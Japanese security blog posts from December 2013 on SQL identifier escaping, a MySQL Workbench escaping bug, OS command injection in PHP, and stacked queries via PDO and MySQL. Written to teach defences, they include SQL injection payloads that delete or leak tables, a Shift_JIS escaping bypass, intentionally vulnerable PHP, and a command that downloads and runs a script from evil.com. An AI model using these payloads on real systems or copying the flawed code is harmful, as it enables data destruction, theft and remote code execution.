2013年12月31日火曜日

今年のページビューランキング上位15を発表します

2013年も終わりですので、徳丸浩のブログの今年のページビューランキング上位15を発表します。
  1. ロリポップのサイト改ざん事件に学ぶシンボリックリンク攻撃の脅威と対策
  2. パスワードの定期的変更について徳丸さんに聞いてみた(1)
  3. イケダハヤトさんへの手紙 : 敵意ある他者との対話について
  4. ヤフー株式会社様に「秘密の質問と回答」に関して要望します
  5. そろそろSQLエスケープに関して一言いっとくか: SQLのエスケープ再考
  6. ロリポップ上のWordPressをWAFで防御する方法
  7. eBook Japanの発表資料に見るパスワードリスト攻撃の「恐ろしい成果」と対策
  8. Yahoo!ジャパンの「秘密の質問と答え」に関する注意喚起
  9. HTTPSを使ってもCookieの改変は防げないことを実験で試してみた
  10. パスワード攻撃に対抗するWebサイト側セキュリティ強化策
  11. SQLの暗黙の型変換はワナがいっぱい
  12. SQLインジェクションゴルフ - なんと3文字で認証回避が可能に
  13. 多発するWeb改ざんに備えてinotifywaitによる改ざん検知を導入した
  14. Evernoteのテキストを暗号化する方法
  15. IE10にはパスワード表示ボタンが付いている
ランキング入りしたエントリの分類をしてみました。まず、侵入事件関連のものがやはり関心を集めたようです。上記には、ロリポップ、Yahoo!ジャパン、Evernoteの侵入事件に関連したものがあります。

ロリポップ事件
1. ロリポップのサイト改ざん事件に学ぶシンボリックリンク攻撃の脅威と対策
6. ロリポップ上のWordPressをWAFで防御する方法
Yahoo!侵入事件
4. ヤフー株式会社様に「秘密の質問と回答」に関して要望します
8. Yahoo!ジャパンの「秘密の質問と答え」に関する注意喚起
Evernote暗号化(Evernoteへの侵入を受けて)
14. Evernoteのテキストを暗号化する方法
また、パスワードリスト攻撃の多発に伴い、パスワードネタも良く読まれました。
2. パスワードの定期的変更について徳丸さんに聞いてみた(1)
7. eBook Japanの発表資料に見るパスワードリスト攻撃の「恐ろしい成果」と対策
10. パスワード攻撃に対抗するWebサイト側セキュリティ強化策
15. IE10にはパスワード表示ボタンが付いている
改ざん事件の多発にともない、弊社サイトにinotifywaitを用いた改ざん検知を導入しました。これはリアルタイムの改ざん検知の仕組みですが、tripwireのオープンソース版も導入しています。
13. 多発するWeb改ざんに備えてinotifywaitによる改ざん検知を導入した
定番のSQLインジェクションネタ。5と11は古いネタですが、安定して読まれています。どちらも私にとって思い入れの深いエントリです。
5. そろそろSQLエスケープに関して一言いっとくか: SQLのエスケープ再考
11. SQLの暗黙の型変換はワナがいっぱい
12. SQLインジェクションゴルフ - なんと3文字で認証回避が可能に
セッション固定攻撃(Session Fixation Attack)に関連して、HTTPSを使っているとCookieの改変を受容しなければならず、セッション固定対策が必須になるというエントリもランクインしています。
9. HTTPSを使ってもCookieの改変は防げないことを実験で試してみた
イケダハヤトさんネタも関心を集めたようですw
3. イケダハヤトさんへの手紙 : 敵意ある他者との対話について
今年はみなさまに大変世話になりました。来年もよろしくお願いいたします。
それでは、みなさま、良いお年を。

2013年12月27日金曜日

SQL識別子は結局どうすればよいか

今まで2回にわたって、SQL識別子のエスケープの問題を取り上げました。
3回目となる本稿では、SQL識別子の取り扱いに関する問題を整理して、一般的な原則を導きたいと思います。

SQL文が動的に変化する場合のSQLインジェクション対策

「間違いだらけの…」で示したように、識別子エスケープが必要な局面でそれが洩れていると脆弱性の要因になることがありますが、それは外部から指定したデータにより、SQL文の構造が変化してしまい、アプリケーションの要件にないSQL呼び出しがなされてしまうからでした。
しかし、「間違いだらけ…」の後半で示したように、識別子のエスケープだけではセキュリティ問題を防ぐことはできず、情報漏洩を招いてしまいました。外部から任意のSQL識別子を指定できることが問題という結論でした。
上記のように、アプリケーションでのSQL文組み立てにおいては、以下を考慮する必要があります。
  • SQL文を構成するリテラル、識別子、予約語などを正しく構成する(条件A)
  • テーブルや列、行などの権限があることを保証する(条件B)
私が普段推奨しているSQLインジェクション対策は下記の通りですが…
  • 文字列連結でSQL文を組み立てるな(原則1)
  • パラメータはプレースホルダで指定せよ(原則2)
これらにより、SQL文は固定になるので、前記の条件Aと条件Bを満たしていることは容易に確認でき、外部からのパラメータにより変化させることはできなくなります。

しかし、アプリケーションの要件によっては、条件によりSQL文が変化する(例:検索条件が変わる、ソート列が変わる)などの理由で上記原則に沿えない場合もあります。その場合には、どうすれば確実にSQLインジェクションを防ぐことができるか、ということが一連の議論のテーマです。

識別子やリテラルのエスケープ処理はSQL文を変化させないことが目的

SQLの識別子やリテラルのエスケープ処理は、SQL文を正しく構成するために必要なSQLの基本文法ですが、SQLインジェクション対策としてエスケープ処理が必要になる場合がある理由は、エスケープ処理を怠ると、SQL文の構造が変わってしまう場合があるからです。

SQLリテラルのエスケープもれの例
$sql = "SELECT * FROM books WHERE author='$author'";
 上記に対して、$author = "'; delete from books#" とすると、以下のSQL文ができあがります。
SELECT * FROM books WHERE author=''; delete from books#'
第2のSQL文が追加されるという形で、SQL文の構造が変化しています。
一方、SQL識別子のエスケープ漏れの例(MySQLを想定)
$sql = "SELECT * FROM `$booktable`"
上記に対して、$booktable = "books`; delete from `books"とすると、以下のSQL文ができあがります。
SELECT * FROM `books`; delete from `books`
やはり、第2のSQL文が追加されるという形で、SQL文の構造が変化しています。

文字列リテラルや識別子のエスケープ処理を正しく行うと、SQL文の構造を変化させることはできなくなります。しかし、識別子に関しては、エスケープ処理だけでは条件Aは満たせますが、条件Bは通常満たせません。

SQL識別子に関しては「もっと良い方法」がある

そもそも、SQL識別子をエスケープ処理しなければならない局面は以下であると考えられます。
  • データベース管理ツールを作成していて、識別子はユーザ入力である(局面1)
  • アプリケーション内でテーブル名や列名をジェネレートしており、これらを構成する文字として引用符が使われる可能性がある(局面2)
局面1の典型例は、phpMyAdminやMySQL Workbenchを作成する場合ですが、これは識別子のエスケープ処理は必須ですね。しかし、この種のツールを作る人であれば、当然識別子のエスケープ処理くらいは知っているだろう…と思っていただけに、MySQL Workbenchの識別子のエスケープもれがあったことは驚きでした。しかし、前述のようのように、幸い重大な脆弱性とまでは言えません。データベース管理ツールを作る開発者はまれだと思われるので、この件は本稿ではこれ以上触れません。

局面2についてはですねぇ…「わざわざ、そんなややこしいことするな!」と言いたいですね。引用符どころか、識別子を構成する文字は英数字とアンダースコアに限定すればよいでしょう。加えて、識別子がSQLの予約語と衝突しないように工夫すれば、識別子をクォートする必要もありません。「予約語と衝突しない工夫」とは、例えば接頭辞(prefix)をつけることです。例えば、WordPressで用いるテーブルは標準でwp_という接頭辞がつきますが、wp_で始まるSQL予約語はないため、識別子が予約語と衝突しないことを保証できます。

識別子が正しく構成されることを保証する方法1: 入力値検証

とはいえ、識別子を構成する文字を英数字とアンダースコアに限定するだけでは、外部由来の文字列で組み立てた識別子が正しく構成されていることを保証できません。そのためのアプローチの一つとして、入力値検証による方法が考えられます。ここでは「入力値検証」という用語をプログラムの入り口で行うバリデーション(フォームバリデーション)という意味で用います。

例えば、「間違いだらけの…」に出て来たアプリケーションはテーブル名がtb1、tb2、tb3、tb4のいずれかなので、以下の正規表現で入力値を検証するという方法があります(正規表現では\Aと\zはそれぞれデータの先頭と末尾を示します)。
\Atb[1-4]\z
最初からこのチェックを入れておけば、識別子のクォートもエスケープも必要なく、利用者がアクセスできるテーブルも正しく制限できるのですが、この方法を紹介しなかったのは、理由があります。

「入力値検証」によるSQLインジェクション対策の課題

前述のように、入力値検証で、テーブル名がtb1、tb2、tb3、tb4のいずれかであることを検証すると、SQLインジェクションや権限外のテーブルへのアクセスは防げますが、入力値検証のみに頼った対策の場合、以下の課題があります。
  • 入力値検証とSQL文組み立てはソースコード上の場所が離れている場合が多く、確認がしにくい
  • 入力値検証と、組み立て後のSQL文の妥当性の関係が自明でない場合、仕様や実装の不備により脆弱性となりやすい
  • 入力値検証とSQL組み立ては担当者が異なる可能性があり、仕様理解に差異があると、脆弱性混入の原因になる
  • SQL文の妥当性は、SQL文組み立ての箇所で担保されるべきである
と言う理由から、入力値検証はアプリケーション要件として淡々と実装しつつ、SQL文の妥当性を保証する仕組みは、SQL文組み立てのところに組み込むべきであると考えます。

識別子が正しく構成されることを保証する方法2: 外部由来の値をSQL文に混ぜない

識別子が正しく構成されることを保証する(その結果SQLインジェクション脆弱性を防ぐ)方法の第2は、外部由来の値を直接SQL文中に混ぜないというものです。具体的には、(1)表名・列名は配列やハッシュに保持する、(2)if文やswitch文でハードコーディングする、(3)データベース上に辞書として保持するなどの実装が考えられますが、他の条件も含めて決めればよいでしょう。

表名や列名の候補が非常に多く、配列やハードコーディングで保持できない場合は、少し妥協して以下のような実装でもいいでしょう(推奨という程ではありません)。
$ident = sprintf("tb%03d", $n);
ただし、%d書式による数値化があるので安全なのであって、%s書式だと結局「外部由来の値をSQL文に混ぜている」ことになるので駄目です。

上記の方法でSQL文中の識別子を生成することにより、入力値検証にバグやもれがあっても、最悪SQLインジェクションは防げることになり、安全性が高い設計と言えます。さらに、条件Bとして説明した「権限のない表や列へのアクセスを防ぐ」こともあわせて実装されます(*1)。

なお、本稿では詳しく説明しませんが、SQL文中の予約語を指定する場合についても、同様の方法で安全に扱うことが可能です。

*1 ただし、複雑な認可処理はこれだけでは実現できないので、アプリケーションロジックによる認可の仕組みが必要です。

※ そもそも、表名や列名などの識別子は実装上の都合で決まる(決めて良い)ものであり、その名前を外部に露出することは好ましくない考えます。

蛇足: SQL識別子エスケープの困難性

現実問題として、SQLの識別子を正しくエスケープすることは難しい場合があります。一般に、SQLの(識別子ではなく)文字列リテラルのエスケープには、手作りのエスケープ関数を使わず、専用のAPIを呼び出すことが推奨されます(更に言えばプレースホルダを推奨しますが…)が、識別子のエスケープ用APIは、PHPのPostgres関数にはある(pg_escape_identifier関数。PHP5.4.4以降)ものの、他の言語やデータベースではあまり見かけません。
ということは、識別子のエスケープには手作りのエスケープ関数を使わなければならない可能性が高いわけですが、「間違いだらけの…」で指摘したような考慮点が多いため、その意味でもできるだけ避けるべきでしょう。

まとめ

SQLの識別子の扱いについて検討しました。
  • SQLの識別子に使う文字は、英数字とアンダースコアに限定する
  • 外部からの値から識別子を生成する場合は、表名の配列などを使用することにより、外部由来の値を識別子に(ひいてはSQL文に)混ぜないこと
  • SQL予約語についても同様に扱う
  • SQL文に指定する値はプレースホルダを用いる
上記の単純系が、冒頭にも紹介した初心者向けのガイドラインということになります。
  • 文字列連結でSQL文を組み立てるな
  • パラメータはプレースホルダで指定せよ
ということで、SQL識別子のエスケープは、SQLインジェクション対策という文脈では重要ではなく、むしろ、安全なSQL組み立ての方法を具体的に説明することが重要と考えます。


2013年12月26日木曜日

SQL識別子エスケープのバグの事例

昨日のエントリに続いてSQL識別子のエスケープの話題で、今回は著名アプリケーションにおけるSQL識別子のエスケープ処理のバグについてです。

MySQL Workbenchには識別子のエスケープに関するバグがあった

以下の画面は、MySQLが提供するMySQL Workbenchの旧バージョン(5.2.34)の様子です(CentOS6.5上で動作)。MySQL WorkbenchはWebアプリケーションではなく、下図からも分かるようにGUIツールです。

下図では a`b というテーブルの内容を表示しようとして、エラーが表示されています。


生成されているSQL文は下記の通りです。
SELECT * FROM `db`.`a`b`;
これは駄目ですね。SQL識別子中に引用符がある場合は、引用符を重ねるのがルールでした。つり、正しくは以下であるべきです。
SELECT * FROM `db`.`a``b`;
ということで、これはMySQL Workbench 5.2.34のバグですね。最新の6.0.8(Windows版)で確認したところ、テーブル名は正しくエスケープされていました。MySQL謹製のソフトで、まさか、識別子のエスケープを考慮していないなんてとびっくりしました。

識別子のエスケープ漏れによるSQLインジェクション

上記の例では、「b`」の部分が識別子から「あふれた」状態になっていてSQL文としては不正なためにエラーになっていますが、この部分のつじつまを合わせてやることで、SQLインジェクション攻撃(?)が可能になりそうです。
その具体例として、bbs.usersというテーブルがあったとして、その内容をUNION SELECTを用いて読み出してみましょう。できあがりのSQL文は下記を想定します。
SELECT * FROM `db`.`a`union select * from bbs.`users`;
これを実現するには、上記の赤字部分を名前とするテーブルを作ればよいことになります。テーブルの定義はどうでもよく、名前だけが問題ですので、例えば下記によりテーブルを作成します。ここでは、識別子中の「`」のエスケープをお忘れなく。
CREATE TABLE `a``union select * from bbs.``users` (x int);
次に、aというテーブルが必要です。bbs.usersと列の数と型を合わせて、以下によりテーブルaを作成します。
CREATE TABLE a  (x varchar(64), y varchar(64), z varchar(64));
ここまで準備をして、テーブル「a`union select * from bbs.`users」をMySQL Workbenchにて表示させると、このテーブルではなく、bbs.usersが表示されます(下図)。x, y, zとして、ID、パスワード、メールアドレスが表示されています。


SQL文の構造が変化しているので、SQLインジェクションの一種と言えそうですが、これが脆弱性かというと微妙なところです。利用者は元々 bbs.users を閲覧する権限があるからです(下図)。


MySQL Workbenchの識別子エスケープ漏れは脆弱性か?

ここで、このバグが脆弱性としてどの程度の影響度があるかについて検討します。前回のエントリでは、識別子のエスケープミスに起因して、SQLインジェクション攻撃によりデータの削除ができる例を示しましたが、SQLインジェクション攻撃によりデータの漏えいも可能でした。これらは、利用者が元々持っている権限を越えた操作ができることが問題でした。

一方、MySQL Workbenchの場合は、識別子のエスケープバグを使わなくても、利用者は元々任意のSQL文を実行できます。すなわち、わざわざSQLインジェクションというややこしいテクニックを使う動機が利用者にはありません。別の言い方をすると、「SQLインジェクション脆弱性があっても脅威は増加しない」ということです。このことから、MySQL Workbenchのエスケープバグは、重大な脆弱性とまでは言えない、と考えられます。

識別子のエスケープ漏れと脆弱性の関係

さて、私がMySQL Workbenchの識別子エスケープバグを紹介した理由は、識別子のエスケープバグと脆弱性の関係を整理する上で役に立つと考えたからです。

そもそも、SQL識別子のエスケープを意識しなければならないケースというのは、外部からSQL識別子(表名、列名など)を指定できるアプリケーションであると考えられます。そして、識別子を利用者が自由に指定できるか、識別子に関して制限があるかが問題になります。

利用者が識別子を自由に設定できるケースの典型例がデータベース管理ツール(phpMyAdminやMySQL Workbench等)であり、この場合は元々利用者が任意のSQL文を実行する権限を持っているので、仮にSQLインジェクションができたとしても、それ単独では重大な脆弱性とまでは言えません。

一方、利用者が自由にSQL識別子を指定できるが、利用者はDBに限定的なアクセス権しか与えられていないケースです。これは、前回紹介した「観光協会のホームページ」がそのケースに該当しますが、「自由にSQL識別子を指定できる」こと自体が問題という結論でした。

まとめ

SQL識別子のエスケープを考慮しなければならないケースの典型例として、DB管理ツールがありますが、DB管理ツールは利用者が任意のSQL文を実行できる権限があるため、SQLインジェクションが単体では重大な脆弱性とは言えません。一方、一般のアプリケーションにおいては、利用者は任意のSQL文を実行する権限がありませんが、この場合、利用者が自由にSQL識別子を指定できることが問題なのではないかと考えました。
次回は、この問題をさらに整理して、SQL識別子のエスケープをどのように考えればよいかを検討します。


2013年12月25日水曜日

間違いだらけのSQL識別子エスケープ

これから3回連載の予定で、SQL識別子のエスケープの問題について記事を書きます。SQL識別子のエスケープについてはあまり解説記事などがなく、エンジニア間で十分な合意がないような気がしますので、これらの記事が議論のきっかけになれば幸いです。
3回の予定は以下のとおりです。
ということで、まずはSQL識別子のエスケープの失敗例について説明します。この失敗例はあくまで説明のために作ったもので、実際のものではありません。また、想定が「ありえない」と思われるかもしれませんが、意図的なものですのでご容赦いただければと思います。また、「間違いだらけの」というタイトルは、今回の題材が間違いだらけという意味であり、巷のSQL呼び出しがそうであるという意味ではありません。本稿に登場する人物と団体は全て架空のものです。

SQL識別子のクォートとエスケープ

SQLの識別子(テーブル名や列名など)には、引用符で囲う形式と囲わない形式があります。以下のいずれかに該当する場合は、識別子を引用符(標準ではダブルクォート)で囲む必要があります。引用符で囲むことを「クォートする」と呼びます。
  • 識別子が予約語になっている場合(例: "table")
  • 識別子に記号が含まれる場合(例: "j&j")
  • 識別子が数字で始まる場合(例: "0x")
さらに、識別子中に引用符が含まれる場合は、引用符を重ねます(例: "x""y")。この引用符を重ねる処理を「識別子のエスケープ処理」と呼ぶことにします。
MySQLの場合は、デフォルトでは、ダブルクォートを文字列リテラルを囲む目的で使うため、識別子はバッククォートで囲みます。このため、先の例はそれぞれ、`table`、`j&j`、`x"y`、`0x`となります(ただし、MySQLは数字で始まる識別子を引用符で囲まなくてもエラーにならないようです)。識別子にバッククォートを含む場合は、`x``y`のようにバッククォートを重ねます。後述するように、ANSI_QUOTESモードを設定している場合は、ダブルクォートは識別子のクォートに使えるようになります。

脆弱なスクリプトの説明

ここで脆弱なスクリプトについて説明します。とある地域の観光協会では、春・夏・秋・冬の季節毎にホームページの表示を切り替えており、コンテンツは、それぞれtb1、tb2、tb3、tb4という季節毎のテーブルに格納されています。
このため、表示スクリプトは、season=tb1 のようにテーブル名を指定して、そのテーブルの内容を表示しています。スクリプトを以下に示します(注: このスクリプトには脆弱性があります)。
<?php
header('Content-Type: text/html; charset=Shift_JIS');
$table = $_GET['season'];
try {
  $db = new PDO("mysql:host=xxxxx;dbname=db;charset=sjis", "xxxx", "xxxx");
  $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
  $sql = "SELECT * FROM $table";
  $ps = $db->query($sql);
  // 検索結果の表示
} catch (Exception $e) {
  echo htmlspecialchars($e->getMessage(), ENT_COMPAT, 'Shift_JIS');
}
スクリプトの呼び出しは、http://example.jp/search.php?season=tb2 のように行います。この場合、呼び出されるSQL文は下記となります。
SELECT * FROM tb2

単純なSQLインジェクション

このスクリプトを運用してしばらくすると、コンテンツの内容が消去されるという不正アクセスが発生しました。アクセスログを調べると、以下のリクエストが原因のようです。
/search.php?season=tb2;delete+from+tb2
この際に生成されるSQL文は以下となります。
SELECT * FROM tb2;delete from tb2
SELECT文に続き、DELETE FROM文が追加されています。PDO+MySQLの場合、複文の実行が可能なので、テーブルtb2の内容は全て削除されてしまいました。

観光協会は地元のセキュリティ会社に相談したところ、テーブル名を`で囲むと良いとアドバイスを受けました。該当の箇所は下記となります。
  $sql = "SELECT * FROM `$table`";
この場合、左記の攻撃リクエストの結果生成されるSQL文は下記となります。
SELECT * FROM `tb2;delete from tb2`
`tb2;delete from tb2`がテーブル名として解釈されますが、この名前のテーブルは存在しないのでエラーにはなりますが、SQL文の構造は変化せず、SQLインジェクション攻撃は成立しなくなりました。

バッククォート「`」によるSQLインジェクション

観光協会はこの状態でしばらく運用をしていましたが、再度コンテンツが削除されるという不正アクセスがありました。今度は以下のリクエストが問題のようでした。
/search.php?season=tb2`;delete+from+tb2%23
tb2の後に「`」が追加されています。生成されるSQL文は下記の通りです。
SELECT * FROM `tb2`;delete from tb2#`
今度は、外部から注入された「`」で識別子の引用符が閉じられて、その後の文字列が追加のSQL文と解釈されていました(#以降はコメント)。
観光協会は再度地元のセキュリティ会社に相談に行くと、「識別子のエスケープをしていないのが原因だ。識別子のエスケープは世界の常識です。」と言われてしまいました。だったら先に教えてくれればいいのにとは思いましたが、識別子のエスケープの方法を教えてもらって、スクリプトに組み込みました。
// 識別子エスケープ関数
function escape_ident($id) {
  return preg_replace('/`/', '``', $id);
}
  // 中略
  $etable = escape_ident($table);
  $sql = "SELECT * FROM `$etable`";
この結果、生成されるSQL文は下記となります。
SELECT * FROM `tb2``;delete from tb2#`
バッククォート「`」が重ねられた結果、`tb2``;delete from tb2#`がテーブル名と解釈されるようになり、SQLインジェクション攻撃は防げるようになりました。

文字エンコーディングの取り扱い不備によるSQLインジェクション

観光協会のホームページはしばらく平穏な日々が続きましたが、またしてもデータが全て削除される事件が起こってしまいました。
今度の原因は次のリクエストのようでした。
search.php?season=%8d%60;delete+from+tb2%23
生成されたSQL文は下記の通りです。%8d%60 は、Shift_JISで「港」という文字になります。運の悪いことに、「港」という名前のテーブルが元々あったのです(わざとらしい想定スマソ)。
SELECT * FROM `港`;delete from tb2#`
港は良いとして、その後に「`」が追加されているのは、どうしてでしょうか?
その秘密は「港」の2バイト目の%60にあります。これ、実は、バッククォート「`」と同じコードなのです。preg_replaceの文字列置換の際に文字エンコーディングを考慮していないので、「港」の2バイト目を「`」と見なして、これを重ねる処理をしてしまったのでした。
地元のセキュリティ会社では、最初「文字エンコーディングのバリデーションががが」と言っていましたが、攻撃文字列はShift_JISとしてはバリッドでありバリデーションでは防御できないことがわかり、preg_replaceではなくmb_ereg_replaceを使ってエスケープ関数を書き換えました。
function escape_ident($id) {
  mb_regex_encoding('Shift_JIS');
  return mb_ereg_replace ('`', '``', $id);
}
また、バッククォート「`」は文字コードが0x60でShift_JISの2バイト目になることがあるため、予防的対策として、MySQLをANSI_QUOTESモードに設定して、識別子はダブルクォート「"」で囲むことにしました。
ANSI_QUOTESモードの設定は、my.cnfに以下を設定します。
sql-mode="ANSI"
これにあわせて、SQL文組み立ての式を以下のように変更しました。
$sql = "SELECT * FROM \"$etable\""
ダブルクォートの文字コードは0x22なので、Shift_JISの2バイト目に重なることはありません。

MySQLの設定考慮漏れに起因するSQLインジェクション

観光協会のホームページはしばらく平穏な日々が続きましたが、またしてもデータが全て削除される事件が起こってしまいました。
今度の原因は次のリクエストのようでした。
/search.php?season=tb2";delete+from+tb2%23
生成されたSQL文は下記の通りです。
SELECT * FROM "tb2";delete from tb2#"
識別子をダブルクォートで囲むように変更した際に、エスケープの対象文字もダブルクォートに変更しておかなければならなかったのですが、それを忘れていたのが原因でした。その変更を入れたところ、攻撃はできなくなりました。

任意テーブルの情報漏洩

観光協会のホームページはしばらく平穏な日々が続きましたが、今度はデータベースに保存された個人情報が漏えいするという事故が起こってしまいました。
今度の原因は次のリクエストのようでした。
/search.php?season=users
生成されたSQL文は下記の通りです。
SELECT * FROM "users"
usersというテーブルには、ホームページに会員登録したユーザーの個人情報が登録されています。単純な攻撃ですね。
観光協会は、あわててサイトをいったん閉鎖して、個人情報漏洩の告知など事後対処に追われました。

最終的にどうしたか

結局、任意のテーブル名を外部から指定できる実装に問題があるということになり、こちらの記事を参考にして、季節は1~4の番号で指定する仕様に変更しました。そうすると、テーブル名を引用符で囲むこともエスケープも不要になりました(下記)。アプリケーション内部で使用する文字エンコーディングがShift_JISであることもよくないので、UTF-8に変更しました(コードは省略します)。
$season_tables = array(1 => 'tb1', 2 => 'tb2', 3 => 'tb3', 4 => 'tb4');
$season = $_GET['season'];
if (! isset($season_tables[$season])) {
  die('invalid "season"');
}
$table = $season_tables[$season];
$sql = "SELECT * FROM $table";

とりあえずのまとめ

テーブル名を外部から指定できる実装のアプリケーションを題材として、SQL識別子の扱いを原因とするSQLインジェクション攻撃と、間違った対策例を紹介しました。具体的には下記の通りです。

  • 識別子のクォートもれ
  • 識別子のエスケープもれ
  • 識別子エスケープの際の文字エンコーディング対応不備
  • MySQLのANSI_QUOTESモードの考慮洩れ
  • 外部から指定するテーブル名の権限のチェック洩れ

本稿では、このアプリケーションの最終的な実装を示しましたが、一般論としてSQL識別子をどう扱うのが良いかについては、稿を改めて説明します…が、その前に、次回は、SQL識別子のエスケープもれによる不具合の実例を紹介します。

2013年12月21日土曜日

PHPだってシェル経由でないコマンド呼び出し機能が欲しい

このエントリはPHP Advent Calendar 2013 in Adventar の21日目です。

OSコマンドインジェクションとは

OSコマンドインジェクションという脆弱性があります。PHPから外部コマンドを呼んでいる場合に、意図したコマンドとは別のコマンドを外部から指定され、実行されてしまうものです。

下記のように、myprog をパラメータ指定で起動している場合で説明します。$paramはファイル名やメールアドレスなどを想定しています。
$param = $_GET['param'];
system("myprog $param");
$paramとして ; wget http://evil.com/bad.php ; php bad.php  を指定されると、system関数で実行するコマンドは下記となります。
myprog ; wget http://evil.com/bad.php ; php bad.php
; はシェルのメタ文字で、複数のコマンドを続けて実行するという意味なので、上記により、evil.comからbad.phpをダウンロード(*1)して、その後実行するという流れになります。

*1 evil.comではスクリプトをそのままダウンロードする設定と想定しています。

OSコマンドインジェクション脆弱性の対策

OSコマンドインジェクションは重大な脆弱性なので、以下のいずれかの対策をとります。
  • OSコマンドを呼ばずPHPの標準機能で何とかする
  • OSコマンドに対して、外部から変更できるパラメータを指定しない
  • OSコマンドに指定するパラメータを英数字に限定する
これら対策は多くの場合実施可能です。たとえば、sendmailコマンドでメール送信する場合は、オプション -t を使うと、コマンドパラメータに送信先メールアドレスを指定せずメールヘッダ中のto: cc: bcc:に指定されたメールアドレスに送信してくれます。メールメッセージは標準入力から読み込ませるようにすれば、sendmailに可変のパラメータを指定せずにメール送信できます。PHPの場合はpopen関数で標準入力が指定できます。それに、そもそもsendmailコマンドを使わずに、mb_send_mail関数でメール送信すればいいわけです。

しかし、どーーーーしても上記対策がとれない場合は、コマンドに指定するパラメータを安全な方法でエスケープすることになります。PHPにはこの目的の関数が2種類用意されています。escapeshellcmdescapeshellargです。しかし、escapeshellcmdの方は「使うな危険」状態(参照)ですので、escapeshellargの方を使うことになります。シェルのエスケープ関数の安全性については、拙著を書く時に調べて、そこで発見したescapeshellcmd関数の問題についてはブログに書きました。一方、escapeshellargは大丈夫そうでしたので、拙著では優先順位第4の方法として紹介しています。
私がコマンドパラメータのエスケープに慎重な理由は以下の通りです。
  • OSコマンドインジェクション脆弱性の影響が甚大である
  • シェルの文法の複雑性
  • シェルの仕様が環境依存である可能性
  • エスケープの際の文字エンコーディングの取り扱いに起因する問題の可能性
うーん、これらを見るとシェルが諸悪の根源のような気がしてきますね…そうなんです。実は、PHP以外の言語では、シェルを経由しないコマンド呼び出しの方法が用意されています。

コマンド呼び出しとシェル

PHPには複数のコマンド呼び出し関数がありますが、いずれもシェル経由でのコマンド呼び出しとなります(*2)。例えば、system関数からmypsという自作プログラムを以下のように呼び出す場合。
system('myps 10 ; pwd');
以下のように sh 経由でコマンドが実行されていることが分かります。
UID        PID  PPID  CMD
ockeghem 22244 20769  php system.php
ockeghem 22245 22244  sh -c cd '/home/ockeghem' ; myps 10 ; pwd
ockeghem 22246 22245  myps 10
最後の行に ; pwd が書いていませんが、これはmypsの終了後に別のコマンドとして実行されます。
一方、python3で以下のスクリプトを実行する場合。
import subprocess
subprocess.call(["myps", "10 ; pwd"])
以下のように、sh は起動されず、全てのパラメータはmypsの引数になります。すなわち、OSコマンドインジェクション脆弱性にはなりません。
UID        PID  PPID  CMD
ockeghem 22362 20769  python3 system.py
ockeghem 22363 22362  myps 10 ; pwd
また、perlやrubyを使う場合、system関数にてコマンドとパラメータを別に指定すると、shを経由しないでコマンドを実行します。
system('myps', '10 ; pwd');
また、JavaのRuntime#execやProcessBuilderによりコマンドを起動した場合もシェルを経由しません。このため、明示的にシェル起動にしない限り、OSコマンドインジェクションにはなりません。

まとめ

OSコマンドインジェクション脆弱性とシェルの関係について説明しました。OSコマンドインジェクションは、シェル経由でコマンド実行する際のパラメータ解釈を悪用した攻撃手法といえます。このため、外部からのパラメータをOSコマンドに渡さなければならない場合、以下の解決策があります。
  • シェルのパラメータを正しく構成する
  • シェルを経由しないでコマンドを起動する
シェルのパラメータを正しく構成する場合は、パラメータのエスケープが必要となりますが、それが完全であることの証明はなかなか難しいと言えます。このため、シェルを経由しないでコマンドを起動する機能があれば、そちらを利用することによりOSコマンドインジェクション脆弱性の心配がなくなります。
PHPにはシェルを経由しないコマンド機能がない(*2)ので、PHP好きとしては残念な気持ちになりますね。PHPコミッタのみなさま、PHP5.6の新機能として、シェルを経由しないコマンド呼び出しの機能を追加できませんか?

*2 例外として、pcntl_fork および pcntl_exec を使ってコマンドを呼び出すとシェル経由にはなりませんが、PCNTL関数の制限としてCGI版PHPを使わなければならないため、通常のWebアプリケーションで利用するのは現実的ではありません。

変更履歴(2013/12/21 19:20)

まとめを少し変更しました。全体の主張に変更はありません。

2013年12月16日月曜日

PHP+PDO+MySQLの組み合わせではSQLインジェクション攻撃で複文呼び出しが可能


基礎からのPHPという書籍を読んでおりましたら、SQLインジェクションの攻撃例として、以下のSQL文ができあがる例が紹介されていました。PHP+PDO+MySQLという組み合わせです。
SELECT * FROM tb2 WHERE ban=1;delete from tb2
2つのSQL文がセミコロンで区切って1つにまとめられていますが、これを「複文(multiple statement)」と言います。私は、SQLインジェクション攻撃の文脈で複文が使える組み合わせを調べたことがあり、PHPとMySQLという組み合わせでは、複文は使えないと思っていましたので、この攻撃は成立しないのではないかと思いました。
しかし、決めつけも良くないと思い手元の環境で動かしてみたところ、あっさり動くではありませんか。

PDOを用いてMySQLを呼び出す場合は複文が実行できると気づきましたが、なぜPDOの場合だけ複文が実行できるのかが気になりました。以前の調査の時はPHPのmysql関数により調査しましたが、mysqli(MySQL 改良版拡張モジュール)でも、複文は実行できません。mysqli::multi_queryを使っている場合は複文実行できますが、これはこのメソッドが複文実行を目的としたものなので、当然ですね。

ここで、検証用の環境を紹介します。まず下記のテーブルを準備します。表名や列名が変なのは、「基礎からのPHP」の踏襲ですのでご容赦ください。
CREATE TABLE tb2(ban int, nam varchar(30));
INSERT INTO tb2 VALUES(1, 'usagi');
次に検証用スクリプトですが、これも「基礎からのPHP」のサンプルを少し修正して使用しています。$bは外部から変更可能な変数とします。
<?php
$b = "1";
$db = new PDO("mysql:host=192.168.xx.xx;dbname=db;charset=utf8", "xxxx", "xxxx");
$ps = $db->query("SELECT * FROM tb2 WHERE ban=$b");
while ($row = $ps->fetch()) {
  echo $row[0] . " : " . $row[1] . "\n";
}
これを動かすと、下記の表示となります。
$ php pdo.php
1 : usagi
次に $b に攻撃用文字列を指定しましょう。先のPHPスクリプトの2行目を以下のように変更します。
$b = "1 or true;update tb2 set ban=ban+1";
SQLインジェクション攻撃の結果、呼び出されるSQL文は下記となります。
SELECT * FROM tb2 WHERE ban=1 or true;
update tb2 set ban=ban+1
第1のSQL文(SELECT)のWHERE句が、ban=1 or trueに変わっているので全件表示となります。第2のSQL文は、列banをインクリメントします。その結果、PHPスクリプト呼び出しの度に、数字が1ずつ増加します。
$ php pdo.php
1 : usagi
$ php pdo.php
2 : usagi
$ php pdo.php
3 : usagi
複文が動いていることは明らかですが、なぜ動くのかが疑問です。そこで、PHPとMySQLの通信をWiresharkでキャプチャしてみました。まずはクエリーのリクエストです。

